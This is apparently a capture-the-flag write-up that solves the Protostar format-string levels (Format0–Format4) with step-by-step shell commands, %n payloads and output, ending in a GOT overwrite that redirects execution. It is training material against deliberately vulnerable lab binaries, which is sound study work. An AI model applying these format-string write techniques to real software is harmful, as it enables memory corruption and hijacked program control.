Reading Material
Exploiting Format String Vulnerablities
Format0
In Format0, our goal is to overflow the buffer variable, and change target to “0xdeadbeef”.
The hint says this should be done in less than 10 bytes of input. We can easily fill the buffer using 4 bytes: “%64d”. And the value right after it, will overflow and change target’s value.
user@protostar:/opt/protostar/bin$ ./format0 `python -c 'print "%64d\xef\xbe\xad \xde"'`
you have hit the target correctly :)
Format1
This time, our target is not on the stack anymore. We need it’s address to procedure, and it can be done by using “objdump -t”.
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g O .bss 00000004 target
The address of target is 0x08049638. Next, we will run some test to find out the position of our input located on the stack.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAAAAAA"+"0x%08x."*150'`
AAAAAAAA0x0804960c.0xbffff3c8.0x08048469.0xb7fd8304.0xb7fd7ff4.0xbffff3c8.0x08048435.0xbffff596.0xb7ff1040.0x0804845b.0xb7fd7ff4.0x08048450.0x00000000.0xbffff448.0xb7eadc76.0x00000002.0xbffff474.0xbffff480.0xb7fe1848.0xbffff430.0xffffffff.0xb7ffeff4.0x0804824d.0x00000001.0xbffff430.0xb7ff0626.0xb7fffab0.0xb7fe1b28.0xb7fd7ff4.0x00000000.0x00000000.0xbffff448.0x00ff9eb6.0x2aa048a6.0x00000000.0x00000000.0x00000000.0x00000002.0x08048340.0x00000000.0xb7ff6210.0xb7eadb9b.0xb7ffeff4.0x00000002.0x08048340.0x00000000.0x08048361.0x0804841c.0x00000002.0xbffff474.0x08048450.0x08048440.0xb7ff1040.0xbffff46c.0xb7fff8f8.0x00000002.0xbffff58c.0xbffff596.0x00000000.0xbffff9b9.0xbffff9c7.0xbffff9d2.0xbffff9f4.0xbffffa07.0xbffffa11.0xbfffff01.0xbfffff3f.0xbfffff53.0xbfffff6a.0xbfffff7b.0xbfffff83.0xbfffff93.0xbfffffa0.0xbfffffd4.0xbfffffe6.0x00000000.0x00000020.0xb7fe2414.0x00000021.0xb7fe2000.0x00000010.0x078bfbbf.0x00000006.0x00001000.0x00000011.0x00000064.0x00000003.0x08048034.0x00000004.0x00000020.0x00000005.0x00000007.0x00000007.0xb7fe3000.0x00000008.0x00000000.0x00000009.0x08048340.0x0000000b.0x000003e9.0x0000000c.0x00000000.0x0000000d.0x000003e9.0x0000000e.0x000003e9.0x00000017.0x00000001.0x00000019.0xbffff56b.0x0000001f.0xbffffff2.0x0000000f.0xbffff57b.0x00000000.0x00000000.0x00000000.0x64000000.0x1fcbe298.0xf6e4ff8c.0x3f504c64.0x69d64c2b.0x00363836.0x00000000.0x00000000.0x00000000.0x6f662f2e.0x74616d72.0x41410031.0x41414141.0x78304141.0x78383025.0x2578302e.0x2e783830.0x30257830.0x302e7838.0x38302578.0x78302e78.0x78383025.0x2578302e.0x2e783830.0x30257830.0x302e7838.0x38302578.0x78302e78.0x78383025.0x2578302e.0x2e783830.0x30257830.0x302e7838.
We can find our input has the offset of 610(127*4+2) away from ESP. Let’s modify the test code shorter and run again.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAAAAAA"+"%130$x."'`
AAAAAAAA41414100.
Looks like we might need one more byte for a perfect “0x41414141”. I’ll put another “A” in, and replace the first four “A”s with “B”s.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "BBBBAAAAA"+"%130$x."'`
BBBBAAAAA42424242.
Now we have a beautiful “0x42424242” here. Hence we can modify it to our final address, and replace “%130$x” with “%130$n”, so we can write some value into target.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AA\x38\x96\x04\x08AA"+"0x%130$08x"'`
AA8AA0x08049638
The final step, we will modify , so we can “write” some value into target
.user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "\x38\x96\x04\x08AAAAA"+"%130$n."'`
8AAAAA.you have modified the target :)
Format2
We’ll retrieve the address of target with “objdump -t” again.
user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g O .bss 00000004 target
Then we can find out the offset to our input with test code.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAABBBB"+"%08x."*10' | ./format2
AAAABBBB00000200.b7fd8420.bffff614.41414141.42424242.78383025.3830252e.30252e78.252e7838.2e783830.
But, Format2 asks us to modify the value of target to “64”. So we need to print out exact 64 bytes before we use “%n” to write the value.
python -c 'print "%60d\xe4\x96\x04\x08"+"%5$n"' | ./format2
512▒
you have modified the target :)
Format3
Here’s the address of target.
user@protostar:/opt/protostar/bin$ objdump -t ./format3 | grep target
080496f4 g O .bss 00000004 target
In Format3, we are challenged to write the value “0x01025544” into target. This needs to be done carefully. We will do it one byte per step.
Let’s examine the the location of our input first.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAABBBB"+"%x."*13' | ./format3
AAAABBBB0.bffff5d0.b7fd7ff4.0.0.bffff7d8.804849d.bffff5d0.200.b7fd8420.bffff614.41414141.42424242.
Here we have “AAAA” at 12, and “BBBB” at 13. Now we can replace them with the value we want.
The first byte of target is “0x44”, which means we need to print 68 bytes before “%n”.
python -c 'print "\xf4\x96\x04\x08%64d%12$n"' | ./format3
0
target is 00000044 :(
The second byte is “0x55”, that is 85 in decimal. Since we already print 68 bytes already, we just need to fill the 17 bytes left before next “%n”. And don’t forget to shift the address of target for one byte.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08%60d%12$n%17d%13$n"' | ./format3
0 -1073744432
target is 00005544 :(
Notice that I inserted the address of second byte “0x080496f5” right after the first four byte? That would make us calculate the offset easier. But, since we add another 4 bytes before “%64d”, we need to make it “%60d” to keep the counting right.
The third byte and the forth byte is “0x0102”. We can finish them in one step, just by writing the value at “0x080496f6”.
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56d%12$n%17d%13$n%173d%14$n"' | ./format3
0 -1073744432 -1208123404
you have modified the target :)
Format4
Format4 asks us to redirect the code flow to hello(). By examining the code, we have print() and exit() after fgets(). But, we need print() to tell us if we have succeed or not, so exit() is the only option left.
First we check the dynamic relocation address for exit().
user@protostar:/opt/protostar/bin$ objdump -TR ./format4
--snip--
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
And we also need the address of hello().
user@protostar:/opt/protostar/bin$ objdump -D ./format4 | grep hello
080484b4 <hello>:
So, our mission here is to replace the memory in “0x08049724” to “0x080484b4”. The last thing to find is the actual location of our input.
user@protostar:/opt/protostar/bin$ python -c 'print "AAAABBBB"+"%08x."*10' | ./format4
AAAABBBB00000200.b7fd8420.bffff614.41414141.42424242.78383025.3830252e.30252e78.252e7838.2e783830.
We got “AAAA” at 4. Now we can build our final payload just like we did in Format3.
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x27\x97\x04\x08%168d%4$n%976d%5$n%132d%6$n"' | ./format4
$%' 512 -1208122336 -1073744364
code execution redirected! you win